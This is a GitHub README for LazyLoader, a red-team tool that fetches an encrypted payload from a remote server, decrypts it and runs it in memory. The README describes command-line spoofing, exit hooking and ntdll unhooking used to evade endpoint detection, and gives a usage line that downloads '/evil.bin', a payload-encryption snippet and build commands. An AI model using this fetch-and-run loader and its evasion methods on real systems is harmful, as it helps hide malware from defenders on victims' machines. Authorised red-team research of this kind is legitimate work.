๐ฆ LazyLoader
September 22, 2025 ยท View on GitHub
Disclaimer: This tool is intended for educational purposes and authorized red team operations only. Do not use on systems you do not own or have explicit permission to test.
๐งฉ Overview
LazyLoader is a sophisticated, in-memory Windows PE (Portable Executable) loader that:
- Downloads an AES-256 encrypted PE file and its decryption key from a remote HTTP server.
- Decrypts the payload in memory using Windows CryptoAPI.
- Reflectively maps and relocates the PE into the current process.
- Repairs the Import Address Table (IAT) with optional API hooking to spoof command-line arguments and prevent process exit.
- Executes the payload in a new thread.
- Optionally unhooks ntdll.dll by restoring its .text section from a clean process (e.g., notepad.exe) to evade EDR/userland hooks.
- Designed for stealth, LazyLoader leaves no trace on disk and hides its execution context from command-line inspection tools.
โ๏ธ Features
- โ Remote Payload Fetching Uses WinHTTP to securely download encrypted PE and key files from a remote server.
โ AES-256 Decryption
- Leverages Windows CryptAcquireContext, CryptCreateHash, and CryptDecrypt for secure in-memory decryption.
โ Reflective PE Loading
- Parses PE headers and sections.
- Allocates memory at preferred or relocated base.
- Copies headers and sections.
- Repairs IAT with dynamic GetProcAddress.
โ Command-Line Masquerading
Spoofs:
- GetCommandLineA/W
- __p___argv
- __p___wargv
- __p___argc
- __getmainargs
- __wgetmainargs
Prevents detection via process argument inspection.
-
โ Exit Function Hooking Hooks exit, _exit, ExitProcess, etc., to redirect termination to ExitThread(0) โ keeping the host process alive.
-
โ EDR Evasion via NTDLL Unhooking Optionally spawns a suspended notepad.exe, reads clean ntdll.dll from its memory, and restores hooked .text sections in the current process.
-
โ No Disk Artifacts Everything runs in memory โ no temporary files written.
๐ Usage
LazyLoader.exe <Host> <Port> <EncryptedPEPath> <KeyPath>
Example
LazyLoader.exe 192.168.1.100 8080 /evil.bin /key.bin
This will:
- Connect to http://192.168.1.100:8080/evil.bin and download the encrypted payload.
- Download the key from http://192.168.1.100:8080/key.bin.
- Decrypt the payload using AES-256.
- Spoof command-line to appear as "whatEver".
- Load and execute the PE reflectively.
๐ Encryption Requirements
The payload must be encrypted with AES-256 in ECB mode (or compatible with Windows CryptDecrypt defaults).
Example Python encryption snippet:
from Crypto.Cipher import AES
import hashlib
key = b"your-32-byte-key-here-------------" # Must be 32 bytes
data = open("payload.bin", "rb").read()
cipher = AES.new(key, AES.MODE_ECB)
encrypted = cipher.encrypt(data.ljust((len(data) // 16 + 1) * 16, b'\x00')) # PKCS#7-style padding
with open("evil.bin", "wb") as f:
f.write(encrypted)
๐ Notes:
- LazyLoader uses SHA-256 to hash the key file contents before deriving the AES key โ ensure your encryption matches this behavior.
- I only translate to C from C++ ( https://github.com/d1rkmtrr/FilelessPELoader/ ), because i like more C xd, and to learn, and this version compile in linux :D
๐งช Compilation
Requirements x86_64-w64-mingw32-gcc Libraries: WinHttp, Crypt32, Psapi Build with x86_64-w64-mingw32-gcc cmd
x86_64-w64-mingw32-gcc -o loader.exe main.c -lwinhttp -lcrypt32 -lpsapi
๐ก๏ธ Detection Evasion Techniques
LoadLibrary
โ avoids module enumeration. IAT Repair + Hooking Spoofs command-line and argv to hide true intent. Exit Hooking Redirects ExitProcess to ExitThread โ host process stays alive. NTDLL Unhooking Restores clean .text from external process โ defeats userland hooks. No Disk Writes Entire execution is memory-resident.
๐ License GPLv3
Educational & Red Team Use Only. Not for malicious exploitation.
๐ฌ Contact / Contribution
For bugs, suggestions, or contributions โ open an issue or submit a PR.
- Author: grisun0 - LazyOwn RedTeam
- Version: release/v0.0.1
- Year: 2025
โ ๏ธ Legal Notice
This software is for authorized penetration testing and research purposes only. Misuse of this tool can result in criminal prosecution. The author(s) assume no liability and are not responsible for any misuse or damage caused by this program.
โ Stay LazyOwn. Stay Stealthy.
๐ LINKS (BEFORE THIS ARTICLE SELF-DESTRUCTS)
- ๐ GitHub: https://github.com/grisuno/LazyLoader/
- ๐ GitHub: https://github.com/grisuno/LazyOwn/
- ๐ง Framework: https://grisuno.github.io/LazyOwn/
- ๐ฌ Discord: https://discord.gg/V3usU8yH
- ๐งโ๐ป HTB: https://app.hackthebox.com/users/1998024
- โ Ko-fi: https://ko-fi.com/Y8Y2Z73AV (Buy us coffee. Weโll use it to compile more chaos.)